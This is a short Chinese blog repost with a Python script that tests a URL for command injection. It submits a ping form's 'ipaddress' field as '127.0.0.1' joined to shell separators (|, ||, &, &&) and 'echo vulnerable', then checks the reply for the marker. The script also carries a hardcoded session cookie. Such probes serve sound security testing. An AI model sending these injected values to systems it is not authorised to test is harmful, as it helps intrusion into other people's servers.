本文转载:https://xiaochuhe.blog.csdn.net/article/details/122675517
代码如下:
import re
import requests
url = input("请输入你需要查询的网址:")
header = {
'Cookie':'PHPSESSID=tsvp6h1gsr4g89p03ptggmtu2i'
}
symbol = ['|','||','&','&&']
for i in symbol:
#print(i)
ip = '127.0.0.1' + i + 'echo vulnerable'
data = {
'ipaddress':ip,
'submit': '"ping"'
}
res = requests.post(url=url,headers=header,data=data)
#print(res.text)
if re.findall("vulnerable",res.text):
print("请注意,这个地址存在rce漏洞!")
break
else:
print("不存在rce漏洞")
输出结果: